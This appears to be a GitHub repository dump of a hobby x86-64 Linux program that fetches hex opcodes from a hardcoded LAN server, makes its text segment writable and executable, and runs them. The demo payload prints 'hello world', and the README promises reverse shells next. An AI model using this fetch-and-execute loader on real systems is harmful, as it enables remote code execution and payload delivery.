├── media └── demo.mp4 ├── server └── index ├── Makefile ├── syscalls.h ├── types.h ├── syscall_helper.asm ├── socketdef.h ├── README.md └── main.c /media/demo.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x0reaxeax/Fetch-n-Exec/HEAD/media/demo.mp4 -------------------------------------------------------------------------------- /server/index: -------------------------------------------------------------------------------- 1 | 26F68656c6c6f20776f726c640a00x31c031ffffc0ffc748beffffffff77777777ba0d0000000f05b83c00000031ff0f05c3 -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | SRC = main.c 3 | OBJ = syscalls.o 4 | OUT = binary.elf 5 | CFLAGS = -nostdlib 6 | ASMCC = nasm 7 | ASMFMT = -f elf64 8 | ASMSRC = syscall_helper.asm 9 | 10 | all: syscall_helper binary 11 | 12 | syscall_helper: 13 | $(ASMCC) $(ASMFMT) -o $(OBJ) $(ASMSRC) 14 | 15 | binary: 16 | $(CC) $(CFLAGS) $(SRC) -o $(OUT) $(OBJ) 17 | 18 | clean: 19 | rm $(OBJ) $(OUT) -------------------------------------------------------------------------------- /syscalls.h: -------------------------------------------------------------------------------- 1 | #ifndef _X0LIB_SYSCALLS_H_ 2 | #define _X0LIB_SYSCALLS_H_ 3 | 4 | #include "socketdef.h" 5 | 6 | #define STDIN_FILENO 0 7 | #define STDOUT_FILENO 1 8 | #define STDERR_FILENO 2 9 | 10 | extern volatile uint64 x_sys_write(int fd, const char *str, size_t slen); 11 | 12 | extern volatile ssize_t x_sys_read(int fd, void *outbuf, size_t count); 13 | 14 | extern volatile int x_sys_close(int fd); 15 | 16 | extern volatile int x_sys_mprotect(unsigned long start, size_t len, unsigned long prot); 17 | 18 | extern volatile int x_sys_socket(int domain, int type, int protocol); 19 | 20 | extern volatile int x_sys_connect(int sockfd, const struct sockaddr *uservaddr, uint addrlen); 21 | 22 | extern volatile ssize_t x_sys_sendto(int sockfd, const void *buf, size_t len, uint flags, const struct sockaddr *dest_addr, uint addrlen); 23 | 24 | extern volatile ssize_t x_sys_recvfrom(int sockfd, void *restrict buf, size_t len, int flags, struct sockaddr *restrict src_addr, uint *restrict addrlen); 25 | 26 | extern volatile int x_sys_shutdown(int fd, int how); 27 | 28 | extern volatile void x_sys_exit(int return_code); 29 | 30 | #endif -------------------------------------------------------------------------------- /types.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file types.h 3 | * @author x0reaxeax (github.com/x0reaxeax) 4 | * @brief data types and essential macros 5 | * @date 2021-11-11 6 | * @source https://github.com/x0reaxeax/x0l1b/blob/main/types.h 7 | * 8 | * @gen vscode doxygen 9 | */ 10 | #ifndef _X0LIB_TYPES_H_ 11 | #define _X0LIB_TYPES_H_ 12 | 13 | typedef _Bool bool; 14 | enum _boolean { false = 0, true = 1 }; 15 | 16 | #ifndef UINT_MAX 17 | #define UINT8_MAX 0xffU 18 | #define UINT16_MAX 0xffffU 19 | #define UINT32_MAX 0xffffffffU 20 | #define UINT64_MAX 0xffffffffffffffffU 21 | #define UINT_MAX UINT32_MAX 22 | #ifdef __X128 23 | #define UINT128_MAX 0xffffffffffffffffffffffffffffffffU 24 | #endif 25 | #endif 26 | int x = '\n'; 27 | #ifndef EXIT_SUCCESS 28 | #define EXIT_SUCCESS 0 29 | #define EXIT_FAILURE 1 30 | #endif 31 | 32 | #ifndef NULL 33 | #define NULL ((void *) 0) 34 | #endif 35 | 36 | typedef unsigned char uint8; 37 | 38 | typedef unsigned short uint16; 39 | 40 | typedef unsigned int uint; 41 | typedef uint uint32; 42 | typedef unsigned long long uint64; 43 | 44 | typedef long int int32; 45 | typedef long long int64; 46 | 47 | typedef long double double128; 48 | 49 | typedef uint8 uchar; 50 | typedef uint8 byte; 51 | typedef int32 off32; 52 | typedef int64 off64; 53 | typedef off64 off_t; 54 | typedef int64 ssize_t; 55 | typedef uint64 size_t; 56 | typedef uint64 uintptr; 57 | 58 | #endif /* data types */ -------------------------------------------------------------------------------- /syscall_helper.asm: -------------------------------------------------------------------------------- 1 | [BITS 64] 2 | 3 | ; https://github.com/x0reaxeax/x0l1b/blob/main/sys/syscalls.asm 4 | 5 | global x_sys_write ; sys_write(int fd, const char *buf, size_t count) 6 | global x_sys_read ; sys_read(int fd, void *outbuf, size_t count) 7 | global x_sys_close ; sys_close(int fd) 8 | global x_sys_open ; sys_open(const char *binpath, int flags) 9 | global x_sys_mmap ; sys_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset) 10 | global x_sys_munmap ; sys_munmap(void *addr, size_t length) 11 | global x_sys_mprotect ; sys_mprotect(unsigned long start, size_t len, unsigned long prot) 12 | global x_sys_socket ; sys_socket(int domain, int type, int protocol) 13 | global x_sys_connect ; sys_connect(int fd, const struct sockaddr *uservaddr, unsigned int addrlen) 14 | global x_sys_sendto ; sys_sendto(int fd, void *buff, size_t len, unsigned int flags, struct sockaddr *addr, int addr_len) 15 | global x_sys_recvfrom ; sys_recvfrom(int fd, void *ubuf, size_t size, uint flags, struct sockaddr *addr, int *addr_len) 16 | global x_sys_shutdown ; sys_shutdown(int fd, int how) 17 | global x_sys_exit ; sys_exit(int exit_code) 18 | 19 | x_sys_write: 20 | mov rax, 1 ; sys_write 21 | syscall 22 | ret 23 | 24 | x_sys_read: 25 | xor eax, eax ; sys_read (0x0) 26 | syscall 27 | ret 28 | 29 | x_sys_close: 30 | mov eax, 0x3 ; sys_close 31 | syscall 32 | ret 33 | 34 | x_sys_open: 35 | mov eax, 0x2 ; sys_open 36 | syscall 37 | ret 38 | 39 | x_sys_munmap: 40 | mov eax, 0xb ; sys_munmap 41 | syscall 42 | ret 43 | 44 | x_sys_mmap: 45 | mov r10, rcx 46 | mov eax, 0x9 ; sys_mmap 47 | syscall 48 | ret 49 | 50 | x_sys_mprotect: 51 | mov eax, 10 ; sys_mprotect 52 | syscall 53 | ret 54 | 55 | x_sys_socket: 56 | mov eax, 41 57 | syscall 58 | ret 59 | 60 | x_sys_connect: 61 | mov eax, 42 62 | syscall 63 | ret 64 | 65 | x_sys_sendto: 66 | mov eax, 44 67 | syscall 68 | ret 69 | 70 | x_sys_recvfrom: 71 | mov eax, 45 72 | syscall 73 | ret 74 | 75 | x_sys_shutdown: 76 | mov eax, 48 77 | syscall 78 | ret 79 | 80 | x_sys_exit: 81 | mov eax, 60 ; sys_exit (0x3c) 82 | syscall 83 | ret -------------------------------------------------------------------------------- /socketdef.h: -------------------------------------------------------------------------------- 1 | #ifndef _SOCKETDEF_H_ 2 | #define _SOCKETDEF_H_ 3 | 4 | #include "types.h" 5 | 6 | /** 7 | * @brief This is all chaotic pasta from glibc source 8 | */ 9 | 10 | #define AF_INET 2 11 | 12 | /* Types of sockets. */ 13 | enum __socket_type 14 | { 15 | SOCK_STREAM = 1, /* Sequenced, reliable, connection-based 16 | byte streams. */ 17 | #define SOCK_STREAM SOCK_STREAM 18 | SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams 19 | of fixed maximum length. */ 20 | #define SOCK_DGRAM SOCK_DGRAM 21 | SOCK_RAW = 3, /* Raw protocol interface. */ 22 | #define SOCK_RAW SOCK_RAW 23 | SOCK_RDM = 4, /* Reliably-delivered messages. */ 24 | #define SOCK_RDM SOCK_RDM 25 | SOCK_SEQPACKET = 5, /* Sequenced, reliable, connection-based, 26 | datagrams of fixed maximum length. */ 27 | #define SOCK_SEQPACKET SOCK_SEQPACKET 28 | SOCK_DCCP = 6, /* Datagram Congestion Control Protocol. */ 29 | #define SOCK_DCCP SOCK_DCCP 30 | SOCK_PACKET = 10, /* Linux specific way of getting packets 31 | at the dev level. For writing rarp and 32 | other similar things on the user level. */ 33 | #define SOCK_PACKET SOCK_PACKET 34 | 35 | /* Flags to be ORed into the type parameter of socket and socketpair and 36 | used for the flags parameter of paccept. */ 37 | 38 | SOCK_CLOEXEC = 02000000, /* Atomically set close-on-exec flag for the 39 | new descriptor(s). */ 40 | #define SOCK_CLOEXEC SOCK_CLOEXEC 41 | SOCK_NONBLOCK = 00004000 /* Atomically mark descriptor(s) as 42 | non-blocking. */ 43 | #define SOCK_NONBLOCK SOCK_NONBLOCK 44 | }; 45 | 46 | /* The following constants should be used for the second parameter of 47 | `shutdown'. */ 48 | enum 49 | { 50 | SHUT_RD = 0, /* No more receptions. */ 51 | #define SHUT_RD SHUT_RD 52 | SHUT_WR, /* No more transmissions. */ 53 | #define SHUT_WR SHUT_WR 54 | SHUT_RDWR /* No more receptions or transmissions. */ 55 | #define SHUT_RDWR SHUT_RDWR 56 | }; 57 | 58 | /* POSIX.1g specifies this type name for the `sa_family' member. */ 59 | typedef unsigned short int sa_family_t; 60 | #define __SOCKADDR_COMMON(sa_prefix) \ 61 | sa_family_t sa_prefix##family 62 | 63 | struct in_addr { 64 | uint s_addr; 65 | }; 66 | 67 | struct sockaddr { 68 | __SOCKADDR_COMMON (sa_); 69 | char sa_data[14]; /* Address data. */ 70 | }; 71 | 72 | struct sockaddr_in { 73 | __SOCKADDR_COMMON (sin_); 74 | uint16 sin_port; 75 | struct in_addr sin_addr; /* Internet address. */ 76 | 77 | /* Pad to size of `struct sockaddr'. */ 78 | byte sin_zero[sizeof (struct sockaddr) 79 | - sizeof(unsigned short int) 80 | - sizeof(uint16) 81 | - sizeof( struct in_addr)]; 82 | }; 83 | 84 | #endif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Remote Machine Code Fetch & Exec 2 | _in other words, another self rewriting binary.. boy I just love doing these._ 3 | 4 | ## Description 5 | The idea behind this one is to fetch opcodes and data from a remote server to rewrite the binary with during runtime. 6 | Except this time, we go x64 and `-nostdlib`, so everything will be done using syscalls and a few helper buddies. 7 | 8 | ## Remote Server Setup 9 | Alright, we have our `index` file, which contains this long mess: 10 | `26F68656c6c6f20776f726c640a00x31c031ffffc0ffc748beffffffff77777777ba0d0000000f05b83c00000031ff0f05c3` 11 | 12 | This can be broken down into 3 parts: 13 | ### 1. Data Length 14 | `26F` 15 | The first 3 characters represent the length of data to be printed out. 16 | This includes the newline character and null terminator. 17 | 18 | The length is specified with decimal numbers and a non-decimal character to fill up the space, if needed. I just chose `F`, because "F is for Family" was playing on the TV, but literally anything non-decimal should be good to go. 19 | 20 | To be more specific, this number specifies is the **number of characters** in the next part of the payload. 21 | 22 | There is 13 bytes represented by 26 characters. 23 | 24 | ### 2. Data 25 | `68656c6c6f20776f726c640a00` 26 | This is the payload to be printed. ASCII letters represented in hexadecimal. There is 11 of them (11x2). Afterwards comes the newline character (`0x0a`) and the null terminator (`0x00`). In this case, the text "hello world" is defined here. 27 | 28 | (11+2) × 2 = 26 characters in this section. 29 | 30 | ### 3. Instructions 31 | `31c031ffffc0ffc748beffffffff77777777ba0d0000000f05b83c00000031ff0f05c3` 32 | This final part is separated from the previous part by the letter `'x'`, because it made debugging and constructing the payload easier. 33 | These are our opcodes to be written and executed. 34 | 35 | ```asm 36 | 0: 31 c0 xor eax, eax 37 | 2: 31 ff xor edi, edi 38 | 4: ff c0 inc eax 39 | 6: ff c7 inc edi 40 | 8: 48 be ff ff ff ff 77 movabs rsi, 0x77777777ffffffff 41 | f: 77 77 77 42 | 12: ba 0d 00 00 00 mov edx, 0xd 43 | 17: 0f 05 syscall 44 | 19: b8 3c 00 00 00 mov eax, 0x3c 45 | 1e: 31 ff xor edi, edi 46 | 20: 0f 05 syscall 47 | ``` 48 | 49 | The first 4 lines load the `sys_write` syscall into `eax` and `STDOUT_FILENO` (`0x1`) into `edi`. We save 2 bytes by not using the `mov` instruction. 50 | The following `mov` instruction at `0x8` loads a placeholder 64bit address `0x77777777FFFFFFFF` into `rsi`. We will be overwriting this, once we can determine our data address during runtime (technically, this could totally be done now without any runtime calculations, but I will benefit from this approach, when I'll be doing **🎇 r e v e r s e _ s h e l l s 🎆** next). 51 | Next is loading the hardcoded size `0xd` as the `strlen` argument. This will be overwritten during runtime in the upgraded version of this that was just mentioned above, but for now, it's `(int) 13`. 52 | Now, we just execute this with `syscall`. 53 | Following is only the `sys_exit` syscall, with return code `0` (`EXIT_SUCCESS`), which just obviously ends the program, since (for now, hihihaha) there's nowhere we can jump to continue execution. 54 | 55 | 56 | ## Order of operations 57 | First, we try to fetch the remote data using the function `read_remote_bytes()`. I say "try", because this makeshift function uses the Linux socket for IPv4 communication, which basic functionality is achieved mostly by glueing some syscalls together. 58 | Two specific syscalls are known to cause trouble here, that being `sys_recvfrom` and `sys_sendto`. These guys don't want to work all the time for some reason (in other words, me doing something wrong), but due to nature of this function being completely makeshift, I don't really care that much. If the execution fails, one of the following error codes is returned: 59 | 60 | | Code | Name | Description | 61 | |------|-----------|-------------------------------| 62 | | 3 | EINPUT | Invalid/Corrupted remote data | 63 | | 4 | EMPROTECT | sys_mprotect RWX failure | 64 | | 5 | EREAD | Error reading socket fd | 65 | | 6 | ESOCKSEND | sys_sendto error | 66 | | 7 | ESOCKRECV | sys_recvfrom error | 67 | | 8 | ECLOSE | Error closing socket fd | 68 | 69 | Check yours with `$ echo $?` 70 | 71 | After we successfully fetch our remote data, we need to get `WRITE` permission for the text segment, or to be more specific, the closest, page-aligned address to our target function-to-be-rewrtitten - `int _malloc(void)`. I don't really know why I named it `_malloc`, so just deal with it. We use the `sys_mprotect` syscall to achieve this, which we feed with `PROT_READ | PROT_WRITE | PROT_EXEC`, to flip the bits we need (RWX). 72 | 73 | The only things left to do are converting our remote-fetched characters to hex bytes, writing them at `&_malloc` and calculating a usable address to store our data to be printed, which is actually the very first byte after our last opcode, so that's where we write our data. After that, we are ready to execute! 74 | 75 | ## Demo 76 | 77 | 78 | https://user-images.githubusercontent.com/61374847/141669441-661e17da-a441-4d34-899b-ef8fdcf8ba3b.mp4 79 | 80 | ![733655604404420648](https://user-images.githubusercontent.com/61374847/141669516-c19286fe-b13c-4f6e-99ff-080a201d94dc.png) 81 | 82 | This is the disassembly of compiled code for our `_malloc` function: 83 | 84 | Disassembly of `_malloc` 85 | ```nasm 86 | 000000000000187e <_malloc>: 87 | 187e: 55 push rbp 88 | 187f: 48 89 e5 mov rbp,rsp 89 | 1882: ff (bad) 90 | 1883: ff (bad) 91 | 1884: ff (bad) 92 | 1885: ff (bad) 93 | ; < ... repeat ... > 94 | 197f: ff (bad) 95 | 1980: ff (bad) 96 | 1981: ff .byte 0xff 97 | 1982: 90 nop 98 | 1983: 5d pop rbp 99 | 1984: c3 ret 100 | ``` 101 | 102 | 103 | **Runtime** Dump of assembler code for function `_malloc`: 104 | ```asm 105 | 0x000055555555587f <+0>: 31 c0 xor eax, eax 106 | 0x0000555555555881 <+2>: 31 ff xor edi, edi 107 | 0x0000555555555883 <+4>: ff c0 inc eax 108 | 0x0000555555555885 <+6>: ff c7 inc edi 109 | 0x0000555555555887 <+8>: 48 be a2 58 55 55 55 55 00 00 movabs rsi, 0x5555555558a2 110 | 0x0000555555555891 <+18>: ba 0d 00 00 00 mov edx, 0xd 111 | 0x0000555555555896 <+23>: 0f 05 syscall 112 | 0x0000555555555898 <+25>: b8 3c 00 00 00 mov eax, 0x3c 113 | 0x000055555555589d <+30>: 31 ff xor edi,edi 114 | 0x000055555555589f <+32>: 0f 05 syscall 115 | 0x00005555555558a1 <+34>: c3 ret 116 | < --- DATA BYTES START HERE --- > 117 | 0x00005555555558a2 <+35>: 68 65 6c 6c 6f 118 | 0x00005555555558a7 <+40>: 20 77 6f 119 | 0x00005555555558aa <+43>: 72 6c jb 120 | 0x00005555555558ac <+45>: 64 0a 00 121 | ``` 122 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include "syscalls.h" 2 | 3 | #define PROT_READ 0x1 4 | #define PROT_WRITE 0x2 5 | #define PROT_EXEC 0x4 6 | 7 | #define ASM_SPAWN_ILL(nop_bytes) { __asm__ volatile (".rept %c0; .byte 0xff; .endr;" :: "i"(nop_bytes)); } 8 | #define ASM_SPAWN_BYTE(n_bytes, hexbyte) { __asm__ volatile (".rept %c0; .byte %c1; .endr;" :: "i"(n_bytes), "i"(hexbyte)); } 9 | #define ASM_SPAWN_TRAP() { __asm__ volatile ("int3;"); } 10 | 11 | #define PAGE_SIZE 4096 12 | 13 | #define BYTECODE_MAX 256 14 | 15 | #define ESOCKET 2 /* net failure */ 16 | #define EINPUT 3 /* corrupted remote data */ 17 | #define EMPROTECT 4 /* mprotect unlock failure */ 18 | #define EREAD 5 /* error reading socket fd */ 19 | #define ESOCKSEND 6 /* socket sendto error */ 20 | #define ESOCKRECV 7 /* socket recvfrom error */ 21 | #define ECLOSE 8 /* error closing socket fd */ 22 | #define ESHUTDOWN 9 /* UNUSED - connection shutdown error */ 23 | 24 | #define BSWAP16(x) ((uint16) ((((x) >> 8) & 0xff) | (((x) & 0xff) << 8))) 25 | 26 | /* Little helper buddies */ 27 | uint x_strlen(const char *str) { 28 | if (str == NULL) { return 0; } 29 | 30 | if (*str == 0) { return 0; } 31 | 32 | uint len_counter = 1; 33 | while(*(str + len_counter) != '\0') { 34 | if (len_counter < UINT_MAX) { 35 | len_counter++; 36 | } else { break; } 37 | } 38 | 39 | return len_counter; 40 | } 41 | 42 | size_t x_memcpy(void *destination, const void *source, size_t nbytes) { 43 | if (destination == NULL || source == NULL || nbytes == 0) { 44 | return 0; 45 | } 46 | 47 | size_t i = 0; 48 | for (i = 0; i < nbytes; i++) { 49 | *(uchar *) (destination + i) = *(uchar *) (source + i); 50 | } 51 | 52 | return i; 53 | } 54 | 55 | int x_ctoi(char c) { 56 | if (c > 57 || c < 48) { return -EXIT_FAILURE; } 57 | return c - 48; 58 | } 59 | 60 | int char2int(byte input) { 61 | if(input >= '0' && input <= '9') { return input - '0'; } 62 | if(input >= 'A' && input <= 'F') { return input - 'A' + 10; } 63 | if(input >= 'a' && input <= 'f') { return input - 'a' + 10; } 64 | ASM_SPAWN_TRAP(); 65 | } 66 | 67 | size_t hex2bin(const byte* src, size_t len, byte* target) { 68 | size_t i = 0, cnt = 0; 69 | while(*src && src[1] && cnt < len) { 70 | *(target++) = char2int(*src)*16 + char2int(src[1]); 71 | src += 2; 72 | cnt += 2; 73 | i++; 74 | } 75 | return i; 76 | } 77 | 78 | uint64 x_atou64(const char *input, size_t *maxlen) { 79 | if (NULL == input) { return 0; } 80 | size_t slen; 81 | if (maxlen != NULL) { 82 | slen = *maxlen; 83 | } else { 84 | slen = x_strlen(input); 85 | } 86 | 87 | slen = (slen <= 19) ? slen : 19; 88 | 89 | uint64 result = 0; 90 | 91 | for (size_t i = 0; i < slen; i++) { 92 | int cint = 0; 93 | 94 | /* if x_ctoi() returns error, don't add nothing */ 95 | cint = x_ctoi(input[i]); 96 | if (cint != - EXIT_FAILURE) { 97 | result += cint; 98 | if (i < slen - 2) { result *= 10; } 99 | } 100 | } 101 | 102 | if (result == 0) { 103 | /* error */ 104 | ASM_SPAWN_TRAP(); 105 | } 106 | return result; 107 | } 108 | 109 | /** 110 | * @brief This is the functio we will be writing to. 111 | * I only named it malloc for fun, it has nothing to with memory allocation at all. 112 | */ 113 | int _malloc(void); 114 | 115 | 116 | /** 117 | * @brief Makeshift netcomm. Equivalent to building a house with wooden sticks and glue. 118 | * 119 | * @param outbuf output buffer will hold received data 120 | * @param buflen outbuf length 121 | * @return int 122 | */ 123 | int read_remote_bytes(byte *outbuf, size_t buflen) { 124 | if (NULL == outbuf) { return EXIT_FAILURE; } 125 | int socket_fd = -1; 126 | struct sockaddr_in server; 127 | char *message, server_reply[2048]; 128 | char bodybuf[256] = { 0 }; 129 | size_t recvlen = 0; 130 | 131 | socket_fd = x_sys_socket(AF_INET, SOCK_STREAM, 0); 132 | 133 | if (socket_fd == -EXIT_FAILURE) { return EXIT_FAILURE; } 134 | 135 | server.sin_addr.s_addr = 0x1664a8c0; /* 192.168.100.22 */ 136 | server.sin_family = AF_INET; 137 | server.sin_port = BSWAP16(0x0050); /* 80 */ 138 | 139 | if (x_sys_connect(socket_fd, (const struct sockaddr *) &server, sizeof(server)) < EXIT_SUCCESS) { 140 | return EXIT_FAILURE; 141 | } 142 | 143 | message = "GET /index\r\n\r\n"; 144 | if (x_sys_sendto(socket_fd, message, x_strlen(message), 0, NULL, 0) < EXIT_SUCCESS) { 145 | return ESOCKSEND; 146 | } 147 | 148 | if (x_sys_recvfrom(socket_fd, server_reply, sizeof(server_reply) - 1, 0, NULL, NULL ) < EXIT_SUCCESS) { 149 | return ESOCKRECV; 150 | } 151 | 152 | if (x_sys_read(socket_fd, bodybuf, sizeof(bodybuf) - 1) < EXIT_SUCCESS) { 153 | return EREAD; 154 | } 155 | 156 | x_sys_shutdown(socket_fd, SHUT_RDWR); 157 | if (x_sys_close(socket_fd) != EXIT_SUCCESS) { 158 | return ECLOSE; 159 | } 160 | 161 | recvlen = x_strlen(bodybuf); 162 | x_memcpy(outbuf, bodybuf, (recvlen <= buflen) ? recvlen : buflen); 163 | 164 | return EXIT_SUCCESS; 165 | } 166 | 167 | int _start(void) { 168 | byte opcodes_hex[BYTECODE_MAX]; /* holds machine code to be written */ 169 | byte remote_opcodes[BYTECODE_MAX + BYTECODE_MAX]; /* holds ascii representation of opcodes to be converted */ 170 | byte data_bytes[BYTECODE_MAX]; /* data to be printed out */ 171 | byte addr_flag[8] = { 0xff, 0xff, 0xff, 0xff, 0x77, 0x77, 0x77, 0x77 }; 172 | byte addr_fmtb[8] = { 0 }; 173 | size_t data_size_index = 3; 174 | 175 | byte *fmtptr = NULL; /* formatting index */ 176 | byte *addrptr = NULL; /* pointer to printout address buffer in opcode bytes */ 177 | byte *dataptr = NULL; /* pointer to memory where data is written */ 178 | 179 | int netret = EXIT_SUCCESS; 180 | if ((netret = read_remote_bytes(remote_opcodes, sizeof(remote_opcodes))) != EXIT_SUCCESS) { 181 | x_sys_exit(netret); 182 | } 183 | 184 | int ret = 0xF; 185 | byte *rptr = (byte *) &_malloc; 186 | 187 | uintptr aladdr = (uintptr) &_malloc; 188 | /* page boundary alignment (addr x remainder) */ 189 | aladdr -= (uintptr) &_malloc % PAGE_SIZE; 190 | if ((ret = x_sys_mprotect(aladdr, BYTECODE_MAX, PROT_READ | PROT_WRITE | PROT_EXEC)) != EXIT_SUCCESS) { 191 | x_sys_exit(EMPROTECT); 192 | } 193 | 194 | /* 2 * 5 * 6 (BYTECODE_MAX) */ 195 | off_t data_len = x_atou64(remote_opcodes, &data_size_index); 196 | if (data_len == 0) { x_sys_exit(EINPUT); } 197 | 198 | /* skip to machine code */ 199 | fmtptr = &remote_opcodes[3 + data_len]; 200 | 201 | /* flag character for input validation */ 202 | if (*fmtptr != 'x') { x_sys_exit(EINPUT); } 203 | fmtptr += (byte) 1; 204 | 205 | /* convert ascii to bytes and calculate number of opcodes */ 206 | size_t nbytes = hex2bin(fmtptr, x_strlen(fmtptr), opcodes_hex); 207 | /* rewind back to data bytes */ 208 | fmtptr = &remote_opcodes[3]; 209 | 210 | /* convert data bytes */ 211 | hex2bin(fmtptr, data_len, data_bytes); 212 | 213 | /* find data address */ 214 | for (uint i = 0; i < nbytes; i++) { 215 | if (opcodes_hex[i] == 0xff) { 216 | for (uint j = 1; j < 8; j++) { 217 | if (opcodes_hex[i + j] != addr_flag[j]) { break; } 218 | if (j == 7) { addrptr = &opcodes_hex[i]; } 219 | } 220 | } 221 | } 222 | /* load data address to buffer */ 223 | uintptr data_start_address = (uintptr) &_malloc + nbytes; 224 | x_memcpy(addr_fmtb, &data_start_address, sizeof(uintptr)); 225 | for (uint i = 0; i < sizeof(addr_fmtb); i++) { 226 | addrptr[i] = addr_fmtb[i]; 227 | } 228 | 229 | /* write opcodes first */ 230 | for (uint i = 0; i < nbytes; i++) { 231 | *(rptr + i) = opcodes_hex[i]; 232 | } 233 | 234 | /* now write data for printout */ 235 | dataptr = (byte *) data_start_address; 236 | for (uint i = 0; i < data_len; i++) { 237 | dataptr[i] = data_bytes[i]; 238 | } 239 | 240 | _malloc(); 241 | 242 | x_sys_exit(EXIT_SUCCESS); 243 | } 244 | 245 | int _malloc(void) { 246 | ASM_SPAWN_ILL(BYTECODE_MAX); 247 | } 248 | 249 | /* bait function, pointless af */ 250 | int main(void) { 251 | ASM_SPAWN_ILL(1); 252 | ASM_SPAWN_BYTE(BYTECODE_MAX - 1, 0xb8); 253 | ASM_SPAWN_TRAP(); 254 | } --------------------------------------------------------------------------------